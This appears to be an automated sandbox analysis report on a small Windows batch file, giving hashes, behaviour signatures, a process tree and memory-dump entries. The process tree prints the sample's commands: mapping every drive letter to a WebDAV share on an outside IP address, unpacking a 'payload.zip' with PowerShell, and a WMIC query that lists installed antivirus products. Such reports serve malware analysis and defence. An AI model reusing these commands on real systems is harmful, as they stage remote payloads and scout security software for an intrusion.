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Analysis

  • max time kernel
    121s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    12/10/2023, 00:51

General

  • Target

    5d5bdbb6eb2ec87262819ae52795e945fd43efe00f47ec28be2f070ef091f8f4_JC.bat

  • Size

    1KB

  • MD5

    3e04fa57bc1837dd6eb1ddfaaa0c8fb3

  • SHA1

    52c4646dd2796cb4da7a50f6777e3a18f9d48179

  • SHA256

    5d5bdbb6eb2ec87262819ae52795e945fd43efe00f47ec28be2f070ef091f8f4

  • SHA512

    d6679d25b561ff1162a9efffea72deff19e5b1b5a4fe74c5fca590fa1df276f0e24ae6f838a7fc5751533c15553c99c94fec2d3d86d4f6823c1579a9438f0bc6

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\5d5bdbb6eb2ec87262819ae52795e945fd43efe00f47ec28be2f070ef091f8f4_JC.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3068
    • C:\Windows\system32\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\5d5bdbb6eb2ec87262819ae52795e945fd43efe00f47ec28be2f070ef091f8f4_JC.bat min
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:652
      • C:\Windows\system32\net.exe
        net use Z: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:1716
      • C:\Windows\system32\net.exe
        net use Y: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:1700
      • C:\Windows\system32\net.exe
        net use X: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2024
      • C:\Windows\system32\net.exe
        net use W: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2108
      • C:\Windows\system32\net.exe
        net use V: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:1028
      • C:\Windows\system32\net.exe
        net use U: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:1768
      • C:\Windows\system32\net.exe
        net use T: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2940
      • C:\Windows\system32\net.exe
        net use S: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2608
      • C:\Windows\system32\net.exe
        net use R: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2404
      • C:\Windows\system32\net.exe
        net use Q: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2004
      • C:\Windows\system32\net.exe
        net use P: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2616
      • C:\Windows\system32\net.exe
        net use O: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2620
      • C:\Windows\system32\net.exe
        net use N: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2820
      • C:\Windows\system32\net.exe
        net use M: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2780
      • C:\Windows\system32\net.exe
        net use L: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2712
      • C:\Windows\system32\net.exe
        net use K: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2956
      • C:\Windows\system32\net.exe
        net use J: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2804
      • C:\Windows\system32\net.exe
        net use I: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2552
      • C:\Windows\system32\net.exe
        net use H: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2740
      • C:\Windows\system32\net.exe
        net use G: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
        • Enumerates connected drives
        PID:2000
      • C:\Windows\system32\net.exe
        net use F: \\172.96.161.208@8080\DavWWWRoot /user:username password
        3⤵
          PID:2648
        • C:\Windows\system32\net.exe
          net use E: \\172.96.161.208@8080\DavWWWRoot /user:username password
          3⤵
          • Enumerates connected drives
          PID:2680
        • C:\Windows\system32\net.exe
          net use D: \\172.96.161.208@8080\DavWWWRoot /user:username password
          3⤵
            PID:2624
          • C:\Windows\system32\net.exe
            net use C: \\172.96.161.208@8080\DavWWWRoot /user:username password
            3⤵
              PID:2516
            • C:\Windows\system32\net.exe
              net use B: \\172.96.161.208@8080\DavWWWRoot /user:username password
              3⤵
              • Enumerates connected drives
              PID:2528
            • C:\Windows\system32\net.exe
              net use A: \\172.96.161.208@8080\DavWWWRoot /user:username password
              3⤵
              • Enumerates connected drives
              PID:2548
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -command "Expand-Archive -Path 'C:\Users\Admin\Pictures\payload.zip' -DestinationPath 'C:\Users\Admin\Pictures\' -Force"
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2588
            • C:\Windows\system32\net.exe
              net use /delete
              3⤵
                PID:852
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 use /delete
                  4⤵
                    PID:1440
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /value
                  3⤵
                    PID:2860
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /value
                      4⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1820

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • memory/2588-4-0x000000001B350000-0x000000001B632000-memory.dmp

                Filesize

                2.9MB

              • memory/2588-5-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

                Filesize

                32KB

              • memory/2588-6-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

                Filesize

                9.6MB

              • memory/2588-7-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

                Filesize

                9.6MB

              • memory/2588-8-0x00000000028F0000-0x0000000002970000-memory.dmp

                Filesize

                512KB

              • memory/2588-9-0x00000000028F0000-0x0000000002970000-memory.dmp

                Filesize

                512KB

              • memory/2588-10-0x00000000028F0000-0x0000000002970000-memory.dmp

                Filesize

                512KB

              • memory/2588-11-0x00000000028F0000-0x0000000002970000-memory.dmp

                Filesize

                512KB

              • memory/2588-12-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

                Filesize

                9.6MB